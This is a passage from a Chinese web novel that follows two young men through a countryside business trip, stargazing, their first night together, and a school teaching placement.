丁老板笑了起来:“扭得不严重就行,我那儿有药。” “不好意思啊丁哥,”邹飏说,“给你吓着了吧。” “没事儿没事儿,”丁老板摆摆手,“说实话,旺季三个月,你不知道每天有多少人摔伤扭伤的,比你这吓人多了……” “先看那个树吧,”邹飏说,“我这儿小问题,一会儿回去了再处理。” “不看了,”樊均说,“先回去上药吧。” “不用。”邹飏说。 “要不……”丁老板搓着手。 “也行,”邹飏又改了主意,“回去看看你胳膊。” “我胳膊没事儿。”樊均说。 “以后别让我再听到你说没事儿!”邹飏吼了一嗓子,“哪儿来那么多没事儿!什么都没事儿!什么才是有事儿!啊?什么才是有事儿!” “……先看树,你就在这儿等着吧,”樊均垂眼看了看他的脚,“我拍两张清楚点儿的照片就行。” 邹飏没说话,靠在了旁边的树上。 樊均转身往那棵枣树走过去,丁老板犹豫着是要去陪樊均拍树还是留下陪“伤员”,最后还是站着了。 邹飏能猜到他为什么不跟过去。 “脚肿了吗?”丁老板问。 “肿了点儿不严重,应该问题不大,以前打球也扭过,不跑就没事儿。”邹飏说。 “哦,那还好,”丁老板点点头,“樊老板他……那个伤……枪伤?” “嗯?”邹飏看了他一眼,就知道他得问这个。 “受的枪伤?”丁老板问。 “嗯。”邹飏点了点头,没有多说,留了点儿悬念。 “干这行……”丁老板想了想,有些感慨,“也挺危险啊……” “还行。”邹飏说。 拍好照片,樊均走了回来,伸手扶住邹飏,几个人走回了小路上,顺着往回走。 “一会儿晚饭就到隔壁那个民宿吃吧,”丁老板说,“那间也是我的,现在人少,就只请了一个阿姨在那边做饭。” “嗯,好。”樊均点点头。 “都是这边儿的特色菜,挺好吃的,”丁老板看了看他俩,“晚上没什么事儿还可以到最上面天台看银河,玻璃顶我前两天刚洗过。” “这么冷的天还洗玻璃顶啊?”邹飏问。 “不知道了吧,这月开始就有人专门来看银河什么的了,”丁老板笑了起来,“你们楼上住着的就是来观星的,摄影师也会来。” 回到民宿,住楼上房间的三个游客正在院子里拍照。 “一会儿过去吃饭啊。”丁老板招呼了一声。 “还多久开饭啊?”一个女孩儿问。 “半小时吧,”丁老板说,“冷的话早点儿过去也行,那边有个大壁炉。” “好,”女孩儿笑了笑,看到邹飏的时候她愣了愣,“受伤了呀?” “不小心扭了一脚。”邹飏笑笑。 “我这儿有药,”女孩儿非常热情,说完就开始翻背包,掏出了一盒膏药,“给,明天再贴啊,二十四小时之后,现在先冰敷,敷个十几分钟就停,隔一个小时还肿就再敷,别一直敷啊……” “谢谢啊。”邹飏都插不上话,只能接过了膏药赶紧走。 “听到没,”樊均跟在他身后,“冰敷一次就十几分钟,不要一敷敷一晚上……” “闭嘴。”邹飏偏过头说了一句。 回到房间,邹飏往床边的小沙发上一倒,脱了鞋,看了看自己的脚踝。 有点儿肿了,但不算严重。 他往门口看了一眼,樊均居然没跟回来? 现在这么嚣张了的吗,吵几句就跑了! 邹飏起身去浴室用凉水对着脚踝冲了一会儿,再回到沙发上坐下的时候,樊均拿着两根冰棍进了屋。 哦,要冰敷。 屋里的小冰箱有个迷你冷冻仓,他把一根冰棍放了进去,拿着另一根走到了邹飏面前:“冰敷。” “嗯。”邹飏伸手接过了冰棍,“用手拿着敷吗?” “等。”樊均从自己包里拿出了一个小洗漱袋打开了。 邹飏凑过去看了看,肌肉贴,绷带,药…… 樊均拿了卷绷带,把他手里的冰棍包上,按在了他脚踝上:“按着。” “你手怎么样了?”邹飏按住冰棍。 “肌肉应该是被拉着了,”樊均说,“问题不大。” 居然避开了“没事儿”。 “你刚拉我的时候手抖得特别厉害。”邹飏盯着他正在拆肌肉贴的左手。 “你使那么大劲也抖。”樊均单膝跪在了他面前,抓过他脚踝,放在了自己膝盖上,准备用肌肉贴固定一下冰棍。 “我自己。”邹飏说。 樊均没理他,拿着肌肉贴开始缠。 “行吧,”邹飏往后一靠,胳膊往脑袋后面一枕,垂着眼皮看着他,“别太紧啊,血液不流通了。” “嗯。”樊均应了一声,用手指把他脚踝上的小金币挑开。 接着就看到了脚踝上那道淡红的伤痕。 他手上的动作停下了。 这么长时间以来,他还是第一次看到邹飏脚上的疤。 没有手腕和脖子上的深,再恢复几个月可能就看不出来了。 但这会儿看着还是有些说不清的滋味。 他轻轻地摸了摸伤疤。 “冰化了啊。”邹飏说。 “嗯。”樊均把冰棍按住,把剩下的肌肉贴缠好了。 “你手怎么样了。”邹飏又问了一次。 樊均看着他。 “我看看。”邹飏说。 樊均没说话,用左手握住了他脚踝上一些的位置,然后开始用力。 手在抖,之前用劲毕竟太突然也大大超出了他平时复健的强度,但让他有些意外的是这个手劲明显比之前要大。 “感觉到了吗?”他看着邹飏。 “什么,”邹飏也看着他,“就还十几分钟就吃饭了,什么感觉也不够时间。” “……邹飏?”樊均有些无语。 “松手,”邹飏说,“刚我就感觉到了,劲儿比平时大得多,你觉得这是什么好事儿吗?” “不是吗?”樊均没松手。 “这不就跟……”邹飏皱了皱眉,似乎在思考用词,“回光返照……” “你闭嘴。”樊均松了手,拆了床头柜下面的拖鞋扔了一只到他前面。 “未必是什么好事儿,”邹飏收回腿穿上鞋,“要这样就能恢复,医生早让你拿个大锤到处抡了。” 樊均没说话,轻轻叹了口气,站了起来。 “回去之后马上去医院检查一下,”邹飏也站了起来,到茶水柜那儿拿了瓶水,想想还是不太放心,“衣服脱了我看看伤。” 樊均犹豫了一会儿,还是听他的脱掉了上衣。 邹飏慢慢走了过来,盯着他左胸上的伤。 樊均突然有点儿没底,他不知道刚那一下会不会对伤口有什么影响,于是也跟着低头看了一眼。 贴在伤口上的纱布有点儿不平整了,能看到泛红,不过应该…… 邹飏一抬手,把已经松动的纱布揭开了,拧着眉看了看:“好像还好。” “嗯。”樊均应了一声。 邹飏又拉过他左手,手在他胳膊上慢慢摸了一遍,能感觉得到皮肤下的肌肉还在微微颤抖,就算没有什么问题,也说明刚才劲儿使得太猛了。 “明天回去了我陪你去医院吧。”邹飏转身走回茶水柜,拿起水喝了一口。 “我自己去就行。”樊均说。 “我火还没全下去呢,”邹飏看着他,“别逼我又骂人啊。” “嗯。”樊均应了一声。 “走吧,吃饭去。”邹飏说。 樊均穿衣服的时候,他又看了看柜子上的两个小架子。 一个民宿,东西还挺齐全,咖啡,茶叶包,小零食和……邹飏把东西一样一样拿起来看着,他有点儿饿了,想先垫一口。 “我操。”他拿起一个小包的时候愣住了。 “嗯?”樊均边穿衣服边走了过来,“怎么?” 邹飏把手里的东西扔回了架子上。 樊均拿起来看了一眼,顿了顿,也放了回去:“这玩意儿怎么……跟吃的放一块儿……” “吃饭去。”邹飏说。 两个人走出了房间,慢慢遛达着往隔壁民宿走。 一路上他俩都没有说话。 邹飏不知道樊均在想什么,但他想的东西肯定不太能见人。 估计樊均也差不多。 走了几步,他忍不住往樊均脸上扫了一眼。 樊均很快也偏过头看着他:“怎么。” “想什么呢?”邹飏问。 “没想。”樊均说。 “那玩意儿有数的,用了人得补呢,”邹飏说,“你是来出差的,以后还会有来往,不是一次性游客……” 樊均看着他,没有说话。 好一会儿才转开头笑了起来:“操。” “不行,别想了。”邹飏没忍住也笑了起来。 樊均伸手搂住他的肩,把他往自己这边带了带:“不生气了吧?” “气什么,我有什么可气的。”邹飏说。 “你那火发得丁老板都只剩语气词了。”樊均说。 “就我一个人发火吗?”邹飏看了看他,“你没发火?” “你先骂我的。”樊均说。 “你就说你发没发火吧!”邹飏说。 “……发了。”樊均说。 “那不得了,”邹飏说,“谁也别说谁。” 樊均叹了口气。 “其实是不是也挺爽的。”邹飏问。 “嗯?”樊均没听懂。 “发火,”邹飏说,“跟被打了一顿似的,挺爽的。” “……啊,”樊均看着他,好半天才说了一句,“邹飏。” “干嘛,我就这么变态。”邹飏啧了一声。 第88章 隔壁民宿的餐厅里还挺热闹,七八个年轻人坐在那儿,围着土灶聊着天,旁边是个大壁炉。 看到他俩进来,也不管认识不认识,都冲他俩挥了挥手:“嗨——” “嗨。”邹飏也举了举手。 “过来烤火吧,”一个男生喊,“马上吃饭了。” 土灶上有一口大锅,冒着热气,能看到肉和排骨,旁边的木头小矮桌上还有青菜和主食,各种饼之类的。 “有人喝酒吗?”丁老板从厨房里走出来,手里拎两个酒桶,“我自己酿的。” “喝——”一帮人都喊了起来。 “自己去消毒柜里拿杯子吧。”丁老板走过来,坐到了樊均身边。 “我不喝。”邹飏小声说。 “有饮料吗?”樊均转头低声问丁老板,“我俩不喝酒。” “哦,不喝酒啊,好,不喝酒……有伤,不喝……”丁老板看了看他俩,“有饮料,那边冰柜……” 樊均没等他说完,直接起身过去打开了冰柜的门,回头看了看邹飏。 柠檬水吧。 邹飏在一片嘈杂的热闹里用口型说了一句。 樊均拿了两瓶柠檬水过来。 邹飏其实不是很适应这种大家并不认识但一个个似乎全是自来熟全员社交达人的场合。 他一边吃,一边时不时跟旁边不知道是什么人但正冲他热情笑着的人呲牙笑笑。 一顿饭吃得脑浆子疼,牙都呲得要感冒了。 相比之下,樊均就比他轻松多了,左边丁老板,右边邹飏,没有需要强制社交的邻座。 而且刚开吃没几分钟,他就借着对面一个男生跟他说话的机会,向全体人员表明了,他听不见。 非常实用的伤残。 邹飏都后悔自己没有及时向大家表明他俩是病友。 不过……虽然樊均不参与聊天,但听这帮人聊天倒是还听得挺认真的。 吃完饭不算太晚,这帮人也没有回房间休息的意思,一块儿要去看星星。 邹飏和樊均身后跟着一帮人走进他们这边这间民宿时,邹飏刚往房间门口转了半个身,后面就有人问了一句:“你俩要睡了吗?不看星星了?” 这话问得挺正常的,但听着一点儿都不正常。 邹飏只得说了一句:“我那个冰块要弄一下。” “哦,那我们楼顶等你们哦,一会儿丁老板上来弄烧烤呢。”又有一个人说。 “好。”邹飏叹了口气。 进了屋,往床上一倒,听到大家杂乱的脚步慢慢往楼上去了,邹飏才长长舒出了一口气。 “给我拿瓶水,”邹飏说,“阿姨这锅菜里搁了多少味精啊,渴死我了……” “我也渴。”樊均拿了瓶水给他。 邹飏拧开灌了半瓶,感觉人都通透了,樊均仰头把剩下的半瓶都喝了。 “……撑死我了。”邹飏摊在床上。 “累了?”樊均走到床边看着他。 的确有点儿累。 但邹飏看得出来樊均没怎么累,似乎还挺开心的。 “没,”他晃了晃脚,“帮我把冰棍儿拆了,好像不肿了,我刚走着不怎么疼了。” “嗯。”樊均蹲下,帮他把冰棍拆掉了,起身的时候又问了一句,“你想上去看星星吗?” “好像……”邹飏看着他,试探了一句,“挺有意思的?” “嗯。”樊均笑笑。 樊均想去看星星。 那就去。 “我找个围巾再上去。”邹飏说着坐了起来。 但还没等坐直,樊均已经抓着他的肩把他按回了床上,人跟着也压了上来。 “不看了啊?”邹飏顺手搂住了他的腰,手掀开他衣服摸到了他背上。 “看,”樊均顺着他嘴角一路吻到耳垂,唇上带着刚喝过的水的湿润的凉意,跟暖暖的呼吸交错着,声音很低地在他耳边轻扫,“亲一下再上去来得及。” “嗯。”邹飏偏过头,舌尖在他嘴角的疤上轻轻点了一下,手直接往下,伸进裤子在他屁股上用力抓了一把。 “嘶……”樊均反手抓住他手腕,按在了床上,“什么毛病?” “手感很好。”邹飏笑了笑。 樊均低头吻住他,手在他腰上也很用力地抓了一把。 天台上人不少,还有吃饭的时候没出现过的人,估计是出去玩回来晚了的。 看到他俩上来,大家照例又是一通招呼,毕竟吃了一顿饭都已经熟了,这通招呼打得比吃饭前更熟络。 看来真有不少人会到这儿来看星星,丁老板甚至在天台边上准备了两架很大的天文望远镜。 天台很大,一半是阳光房,可以躺椅子上透过玻璃顶看星空,一半是露天的,不怕冷的可以在那边用望远镜看。 如果没那么多人。 邹飏还是很愿意跟樊均一块儿躺这儿吃点儿喝点儿看看银河的,毕竟抬头的时候,黑沉沉的夜空里,成片的带着光晕的星群带给人的是一眼震撼。 但能感觉得到,樊均挺喜欢这种状态,虽然他不爱出声,但喜欢在人群里。 “这种感觉……”樊均坐在椅子上,慢慢地剥着一个橘子,“在一个陌生的地方,碰到一群陌生的人,就是……很有旅行的感觉。” “嗯。”邹飏靠着椅背,偏头看着他,“旅行就是这样了,去陌生的地方,看陌生的东西,碰到陌生的人。” “但是要有你在。”樊均说。 邹飏没说话,手指在他樊均的手上轻轻划了一下。 樊均剥橘子的时候,是刻意用左手剥的,右手只是辅助,手稍微还是有些抖,但看着还好,并不费力。 “以前我不太喜欢人太多的地方,”樊均剥开了橘子,又开始一点点撕上面白色的橘络,“会不踏实,人太多了,我听不清,也看不过来……” “现在不样了,”邹飏说,“是吧?” “嗯,”樊均点点头,“特别你在旁边的时候,就……挺有意思的。” 邹飏笑了笑。 樊均没再说话,细细地撕掉所有的橘络之后,把光溜溜的橘子瓣放到了邹飏手里。 “哇。”一个跑过来拿水果吃的女孩儿发出了一声感慨然后又跑着走了。 “我还没吃过剥得这么干净的橘子。”邹飏直接一口咬下半个。 “我也没有,”樊均笑着说,“医生让平时练习一下这种精细的动作,之前我捏个硬币都捏不住。” “那进步还是很大的嘛。”邹飏把剩下的半个递到他嘴边,“尝尝,这样剥出来的一点儿渣都没有,好吃。” 樊均直接从他手上叼走了那半个橘子。 然后两人一块儿靠在椅子里看着星空。 现在其实还没到银河最漂亮最清楚的时间,丁老板说得到月底。 不过这会儿也已经能看到银河一大片慢慢从东边升起来,黑色的天幕下满满静谧的热闹,带着时间一点点滑过…… 天台上的人差不多散了,樊均才站了起来,看了看睡得正香的邹飏。 这人躺那儿看星星还没十分钟就睡着了,后面大家烧烤聊天愣是没能把他吵醒。 樊均中途不得不回屋拿了个毯子过来给他盖上。 这会儿天台上除了他俩,就还剩了一对情侣,不畏严寒地搂着站在望远镜前。 “邹飏。”樊均在邹飏脸上轻轻拍了拍。 “嗯!”邹飏猛地睁开了眼睛,一下坐直了。 樊均被他这瞬间清醒的状态吓了一跳,抬着手看了他好一会儿才问了一句:“你是睡着了是没睡着啊?” “睡着了,”邹飏愣了几秒,低头搓了搓脸,“我靠,我一直提醒自己别睡着。” “睡着了就睡着了啊,”樊均说,“干嘛要别睡着。” “不是陪你看银河么,”邹飏叹了口气,“我要睡着了不就成你自己看了。” 樊均笑了起来:“我知道你在旁边就行。” “人呢?”邹飏看了看四周。 “就还那俩和我们了,”樊均拿拽了拽他胳膊,把他拉了起来,把毯子披到他身上,“走吧,回屋睡。” “几点了?”邹飏打了个呵欠,脚底下步子都有些发虚。 “三点半。”樊均说。 “我……操,”邹飏震惊了,“明天是不是要去看另一棵树?丁老板说要早起?” “嗯,”樊均点头,“我叫你。” “……你出差带着我是不是有点儿耽误事儿?”邹飏叹了口气,揪着毯子角,往楼下走。 “多大点事儿啊,耽误就耽误了。”樊均说。 “何川听了得哭。”邹飏笑了。 但这棵树何川看了一定会笑的。 虽然一早就被樊均叫醒,往脚上缠了一堆肌肉贴,再开车带走路的折腾了三个多小时到了山林深处,邹飏看到这棵雷击木的时候还是挺震惊的。 被雷劈过之后,这棵树应该还生长了挺长时间的,那些黑色的纹路在树干上爬行延展的状态非常漂亮,带着一种诡异的压迫感。 一看就很能辟邪。 樊均跟何川通了个电话之后,又跟丁老板一块儿往树上做了标记,再敲定了拉货送货的事儿。 “你放心,我在这儿盯着不会出错。”丁老板说。 “辛苦了。”樊均说。 “应该的,”丁老板说着拿出了手机,“以后还有合作,樊老板想着点儿我,我们这地方,这些稀奇古怪的玩意儿还是不少的……加个微信?有什么我给你发图也方便。” “嗯。”樊均应了一声。 樊均现在的朋友圈还挺能骗人的。 都是店里的好玩意儿,跟何川拍的内容差不多,毕竟也是何川推哪个他发哪个。 但因为他没何川那么话痨,极度简洁的文案让他的朋友圈看着比何川的更像幕后老板。 丁老板带着他们回了民宿就马上去联系找人找车送货的事儿了。 明天邹飏一早还要见习,他俩在附近转了转,拍了点儿照片,就也得返程了。 “你能开车?”樊均扒着车窗看着坐在驾驶室里的邹飏。 “能,”邹飏说,“你刚看不到我走路是正常的吗?” “就是问问确定一下。”樊均绕到副驾上了车。 “你手呢?”邹飏发动车子,也问了一句。 “用了肌肉贴感觉还行,”樊均说,“没有昨天昨上那么抖得厉害了,偶尔有一点儿抽着。” “嗯。”邹飏对这个详细的回答很满意。 回到市里的时候天已经擦黑了,樊均回店里跟何川汇报了一下出差情况,然后给小白换好牵引,把牵引绳交给了邹飏。 “嗯?”邹飏看着跨上了电动车樊均,有点儿没明白。 “你坐后头牵着他,”樊均说,“骑车带他跑两圈拉个粑粑就可以回去了。” “哦。”邹飏笑了。 小白很喜欢这种跟着车跑的方式,跑得很起劲,车速稍微慢一点儿它就能超到前头去。 “小白真棒,加油。”邹飏偏过头枕在樊均肩上,看着小白,感觉它一直在笑,一只眼睛亮晶晶的。 他伸手搂住樊均的腰,手伸进衣服里,在他肚子上一下下用手指划着圈儿。 “不要影响司机开车。”樊均按住了他的手。 “骑个小电动还司机了。”邹飏说。 “回去了再点外卖吃饭吧?”樊均问。 “嗯,”邹飏应了一声,“随便吃点儿吧,我都不怎么饿。” “好。”樊均回手在他脸上勾了勾。 “好好开车,司机。”邹飏说。 这次出差比之前那次要轻松,回来也没怎么觉得累。 邹飏随便叫了两份拌面回来吃了,洗完澡往沙发上一倒,舒服地伸了个懒腰:“你去洗澡吧,一会儿弄个电影来看看。” “嗯。”樊均起身,拿了衣服去洗澡。 邹飏刚洗完澡,浴室里雾气都还没散,带着暖暖的湿润。 往伤口上贴防水贴的时候他仔细看了一下,伤口还行,再过几天应该就能彻底结痂了,深处的伤口动起来的时候会有点儿疼,胳膊倒是还行,除了有种做了大重量弯举之后的酸胀感,没有别的明显不舒服。 他打开喷头,一边冲水一边又活动了一下肩膀。 洗完澡他顶着条毛巾回到客厅,打算先弄个电影让邹飏看着再吹头发。 刚想去茶几上拿手机,就看到茶几上放着个某团送药的纸袋,旁边还放着几个盒子…… “哪儿不舒服吗?”樊均赶紧过去,拿了一个盒子准备看看。 但刚拿到手上就能感觉这不是药盒,再一眼过去…… “邹飏?”他震惊地抬眼看着邹飏。 “干嘛?”邹飏靠在沙发上,正拿着一个拆出来的小包装看着。 “你……”樊均不知道该说什么,又看了看桌上另外的几个盒子,忍不住感叹了一句,“你是把每个牌子都买了一盒吗?” “也不是,有些厚薄不一样。”邹飏推了推眼镜,“而且也不全是套儿啊……” 樊均又看了一眼,的确不全是套:“挺全乎?” “嗯,”邹飏捏了捏手里的小包袋,头往后一仰,看着他,“不打没有准备的仗。” 樊均震惊过后,这一瞬间的感受非常复杂。 隐隐的兴奋正像远处燃烧起来的火苗,被风卷着迅速袭来,几乎是几秒钟里就已经烧得人有些发烫。 “谁……打仗?”他开口的时候嗓子眼儿都有些发紧。 “过来。”邹飏伸手。 樊均抓住他的手。 邹飏也不管两人中间还隔着个茶几,直接把他往自己那边拉了一把。 樊均不得不迅速抬腿跨过茶几,在被邹飏拽倒之前撑了一下后面的墙,跨在了邹飏腿上。 邹飏抓着已经滑到他脖子上的毛巾,往下拉过去。 樊均弯腰,凑近他。 邹飏手兜住他颈后,在他耳边低声说:“我。” 这低得几乎像是耳语一样的一个字,顺着耳边轻轻落在颈侧,如同一粒小小的火星。 某些欲望,仿佛以遍布全身的神经为引信,在火星落下的一刻被迅速点燃。 烧得人措手不及,猛地加速的心跳带着滚烫的血直冲眼眶,耳朵里嗡响一片。 没等他有什么反应,邹飏已经一抬手,劈在了他撑着墙的右肘内侧,他顿时失去了平衡,人往邹飏身上倾了过去。 邹飏顺势一带,把他掀翻在了沙发上。 “等。”樊均脑子里一片混乱。 邹飏翻身压了上来,手像是带着火,从他腰侧抚过,向下烧去:“乖乖的。” 第89章 几乎没有思考的时间,身体里迅速苏醒的强烈欲望让樊均有一瞬间的窒息。 邹飏的吻带着细小的电流,唇上,下巴,咽喉,锁骨…… 每一次轻轻落下都会在皮肤上激起微微颤栗,一点点漾向身体深处。 樊均抬起手,指尖点在邹飏鼻梁上,轻轻一勾,摘掉了他的眼镜。 接着手指抚过他的前额,和前额垂下的湿润的头发,水珠带着微凉滴落在被烙得滚烫的皮肤上,视线在清醒与迷离之间交错。 指缝里带着发丝间的湿润,慢慢绕向颈后,肩胛,背脊……拉下邹飏腰上已经松开的浴巾,跟着已经乱了的呼吸和心跳,贪婪地汲取着掌心里细腻的温暖。 “别乱动。”邹飏有些沙哑的声音沿着小腹一路向上,回到他耳边。 伴着混乱的喘息,带着火的身体压实,邹飏一只手伸向他腰后揽住往上一提,另一只手抓着他的裤腰拽了下去。 “邹飏……”樊均能听到自己同样沙哑的声音。 “嗯?”邹飏的手撑在他头边,低头看着他,呼吸扑在他脸上。 樊均并不知道自己要说什么,这一声名字似乎只是本能出声。 他的视线扫过邹飏的脸,有些模糊,屋顶的灯有些眩目,他闭了闭眼睛。 邹飏回手从沙发靠背上摸过遥控器把顶灯关掉了,屋里只剩了角落里的一盏落地灯,昏黄的光线从身后裹住邹飏,勾出了腰际的轮廓。 所有的感知都在昏暗中被放大,邹飏胸口的每一次起伏都会带出暖黄的残影,紧贴着体温似乎达成了某种默契…… 邹飏用手指从茶几上夹起一个小袋子,犬齿咬住,叼在了嘴角。 手指从左胸的绷带上滑向腰侧,接着反手扳着樊均的腰用了点儿劲,把他的身体翻向一侧。 “趴着。”邹飏能听到自己的声音发紧,被失了节奏的心跳带得有些微微发颤。 樊均身体的每一个动作,每一次肌肉的紧绷与放松,都牵制着他的神经,他手按在樊均背后,掌心能感知皮肤下的细微颤动…… 他捏住被叼在嘴边的小袋子,头微微一摆,撕开了包装…… 俯身贴紧,樊均偏过头,喘息里带着身上淡淡的青草味道。 呼吸与呼吸,低吟与低吟,灼热之上的微凉让他有短暂的清醒,但很快就被几近失控的欲望迅速吞噬。 看不清,听不清。 触觉暂时占据了全部感官,撑在樊均背脊上的指尖几乎要掐进皮肤里。 带着颤栗的律动在火里沉沦…… 潮汐之间他听到了樊均很低的一声抽气。 他低头吻在樊均肩头,接着狠狠一口咬了下去,带着还没有来得及释放的疯狂…… …… 喘息很久都没有完全平复,直到身体里残存的悸动渐渐散去。 “下去,”樊均趴在沙发上,声音很低,“压死了。” 邹飏慢慢翻了个身,从他身上滑到沙发边缘,再缓缓滑到了地毯上,闭着眼睛长长地舒出了一口气,仿佛叹息。 轻轻的爪子声从他头顶位置传过来,接着就听到了小白的嗅闻声。 “没死,小白,”他轻声说,“没事儿,走开。” 小白似乎不放心,还在脑门上方嗅着。 “白,”樊均开口,声音有些沙哑,“回窝。” 小白哼唧了一声,嗒嗒地走回了墙边的垫子上趴下。 “均儿。”邹飏睁开眼睛,虽然身上有种空虚的飘忽感,他还是坐了起来,侧过身搂住了还趴在沙发上的樊均。 “嗯?”樊均偏着头看着他。 “我帮你……”邹飏手往他小腹摸过去。 “哎,”樊均笑了笑,抓住了他的手,“不用。” “嗯?”邹飏凑近他,盯着他的脸,“怎么?” “暂时……没有这个想法了。”樊均说。 “我操,”邹飏愣了愣,在他眼角亲了一下,“你这是骂我呢吗?骂这么狠?” “不是,”樊均笑了起来,拉过他的手,在他指尖上轻轻咬了一口,“就……你以后会懂的。” 邹飏没说话,只是低头把脑门儿贴在了他胳膊上。 “我去洗洗。”樊均说。 “我帮你。”邹飏立马说。 “自己就行,我是被干了,”樊均慢慢起身,在他脑袋上抓了抓,“不是被干死了。” “滚蛋。”邹飏说。 小白趴在窝里,好奇地看着他俩一晚上洗两次澡的行为,眼神里有一丝困惑。 大黑倒是很淡定,从始至终都仰面朝天地在窗台上睡觉。 “还看……电影吗?”樊均看到邹飏从浴室出来,问了一句。 “你想看吗?”邹飏拿过毛巾,盖到樊均头上,把他脑袋抱过来轻轻擦着水,“你想看我就陪你看。” “不看了,你明天要早起的。”樊均说。 “嗯。”邹飏应了一声。 吹干头发,把沙发整理好,两人回到屋里躺下了。 樊均关掉灯的同时,邹飏蹭过去搂紧了他。 “怎么了?”樊均摸摸他的背。 “难受吗?疼吗?”邹飏问。 “还……行吧,”樊均轻声说,“没你在我肩膀上咬的那一口疼。” “我靠,”邹飏撑起胳膊就去摸灯开头,“我都忘了,咬破了吗?” “破了,我刚洗澡的时候看了,有一个血点子,”樊均把他按回枕头上,“你咬得够狠的。” “以毒攻毒,”邹飏说,“分散一下你注意力。” “……是么。”樊均笑了。 “你别咬我啊,我会骂人的。”邹飏说。 “那不好说,”樊均说,“我还怕你骂么。” 邹飏啧了一声,没说话,只是搂紧了他。 “睡吧,”樊均拍拍他,“明天我叫你起床。” “我调闹钟了,”邹飏闭上眼睛,“你好好睡你的,我如果起得早,就先把狗遛了,再带早餐回来。” “说什么梦话呢?”樊均笑了。 “信不过我?”邹飏问。 “没有信的理由啊,”樊均说,“我认识你到现在,你别说比我早起了,你比我早醒过吗?” “你等着。”邹飏说。 挺累的,按说明天早上没人叫应该是起不来了。 但邹飏还是有信心的。 因为他现在虽然困,但睡不着。 挺了一会儿,他睁开了眼睛。 “嗯?”樊均应了一声。 “有哪儿不舒服吗?”邹飏问。 樊均轻轻叹了口声,翻了个身搂紧他,把脸埋到了他颈侧:“不至于,别操心这个了。” “那爽吗?”邹飏问。 “你……”樊均笑了。 “爽吗?”邹飏继续问。 “……爽。”樊均说。 “我不信,”邹飏啧了一声,“第一次爽不了。” 樊均没说话,只是搂紧他,能感觉到是在笑。 “笑屁,”邹飏重新闭上眼睛,“反正我爽了。” “嗯。”樊均应了一声。 安静了没两分钟,邹飏又开了口:“你……” “老实睡觉!”樊均捂住了他的嘴。 早上闹钟响的时候,邹飏连呼吸都没变,舒缓得很,仿佛一个听障。 樊均起床的时候把他胳膊拽开,他都没一点儿反应。 不过樊均今天生物钟也失效了,起床是因为闹钟在震,但邹飏不知道是出于怎样一种自信,定的闹钟时间明显不是太充裕。 洗漱,遛狗,买早餐。 进屋掀掉邹飏的被子。 “嗯……”邹飏缩起腿,手往旁边寻找着被子。 “起了,”樊均看了一眼手机,“来不及了,你一会儿得打车了,我送你不够时间了。” “啊……”邹飏翻了个身,继续摸被子。 樊均直接拽着他胳膊把他拖下了床,架到了浴室洗手池前。 邹飏撑着洗手池,盯着水龙头看了差不多一分钟才缓过来:“我靠?你疯了吧?” 樊均没说话,把手机怼到了他脸面前。 邹飏往后撤了撤,眼睛聚了半天焦才看清时间。 “完了。”他说。 “没完,”樊均说,“现在速度点儿还有救。” 邹飏感觉自己根本没睡,洗漱完坐在桌子旁边吃早餐的时候都还是恍惚的。 随便塞了几口,就被樊均拽了起来,说是打的车马上就到了。 “走吧。”樊均把袋子里剩下的两个烧麦和一盒牛奶塞到他手里,拎着他的包,拽着他出了门。 邹飏在电梯里抓紧时间几口塞完了烧麦,转头看着樊均。 这会儿他才算清醒过来了。 虽然有些……但他还是又问了一句:“难受吗?” 樊均顿了顿才反应过来他说的是什么:“不难受,别问了,再问我现在就拉你回去让你试一下。” 邹飏叹了口气,想想又笑了起来:“靠。” 到了七中的时候还是稍微晚了那么一点儿,早读已经开始了。 邹飏一路小跑着进了教室,语言早读,但还好,周老师不在。 只有刘文瑞他们几个正在教室里装模作样地来回走动着,等待着有哪个学生有什么不懂的可以随时解答。 但其实早读能有什么不懂,他们的唯一作用,就是干扰昨天作业没写完的学生这会儿抄作业。 “你怎么回事儿!”刘文瑞一看他进来,立马凑过来小声质问了一句。 “起晚了,还能怎么回事儿。”邹飏掏出自己的本子和笔,往纸上先画了一溜圈儿,开始装。 “樊均那么自律的没叫你起床?”刘文瑞说,“从此君王不早朝啊……” “滚滚滚,”邹飏用胳膊肘把他推开,“现在是闲聊的时候吗?” 刘文瑞斜眼瞅着他啧了一声,转身回到自己那一溜继续转悠。 为了避免跟邹天瑞有什么接触,邹飏没去桌椅之间溜缝,站在了教室最后。 邹天瑞倒是回头看了看他,跟上周看他时的状态不太一样,表情很淡,看不出什么情绪。 下了早读是周一的升旗仪式,他们几个没去周老师办公室,跟着学生们一块儿往操场走。 “邹飏。”身后有人叫了他一声,听声音是邹天瑞。 邹飏回过头。 “有话跟你说。”邹天瑞说。 “说呗。”刘文瑞说。 邹飏把刘文瑞往前推了推,示意他先走。 这毕竟是在见习的学校,能不起冲突就不起冲突,没有必要。 “我长话短说,”邹天瑞往前走着,“我知道你来见习不是你能决定的。” 邹飏没说话,跟她一块往前走。 “我们井水不犯河水,”邹天瑞说,“你肯定不会不知道我家出了什么事。” “知道不知道都无所谓,我对你们家的人和事都没有任何兴趣。”邹飏说。 “那最好,”邹天瑞说着突然声音有点儿抖,“谁也别想看我笑话。” 邹飏叹了口气,本来还想怼一句,但感觉多说一句她没准要哭,于是也没再说话,直接快步往走了。 “渣爹肯定是想离婚了。”刘文瑞笔直地站在升旗队伍最后,听着校长训话,小声地说。 “折腾不死他。”邹飏说。 “邹天瑞这才刚当了没几年的正式女儿,”刘文瑞说,“眼瞅着又要泡汤喽。” “不管了,”邹飏说,“再拿一年的钱,我就正式单亲家庭了。” “也不单吧,”刘文瑞说,“你妈不是跟吕叔也差不多要结婚了吗?” “嗯,”邹飏想了想,莫名其妙地有些尴尬,“我一直也没再问,不知道什么情况了。” “挺好的,以后你妈过你妈的,没人管你了,你想怎么样就怎么样,”刘文瑞说,“比我强,我昨天回家,我妈还扇我了。” “你……”邹飏忍不住转头看了他一眼,“干什么了能让你妈对一个成年男性动手?” “他让他妈给他涨零花钱,没谈妥。”李知瑞在身后低声说。 “买卖不成仁义在么是不是,没谈妥就没谈妥,”刘文瑞说,“她扇我后脑勺这就不应该。” “废物。”邹飏说。 “我打工去,”刘文瑞说,“我还不信了,我这脑子,我这身板儿,我赚不到钱?” “都大三下学期了想起来打工了,”张传龙说,“是怕毕业找不到工作吗?” “哎?”刘文瑞转头看了他一眼,“你长行市了啊龙龙。” 升旗仪式结束,第一节英语课在多媒体教室。 跟着学生们边聊边往教室走的时候,邹飏有种回到了高中的感觉,但同时又有种可算是熬完了的爽感。 邹天瑞说的“看笑话”具体是指什么,邹飏不知道。 